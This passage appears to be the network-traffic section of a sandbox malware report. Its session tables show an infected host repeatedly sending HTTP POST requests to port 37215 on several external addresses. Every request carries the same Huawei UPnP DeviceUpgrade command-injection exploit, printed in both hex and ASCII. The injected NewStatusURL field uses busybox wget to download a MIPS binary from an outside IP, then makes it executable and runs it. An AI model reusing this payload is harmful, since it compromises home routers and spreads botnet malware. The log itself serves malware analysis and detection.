HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:45.666434050 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:51.809449911 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:03.839708090 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:29.184189081 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:18.325450897 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	45674	37.16.13.71	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:45.021138906 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	38666	156.247.28.253	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:14:45.199275970 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:46.754137993 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:14:48.609822035 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
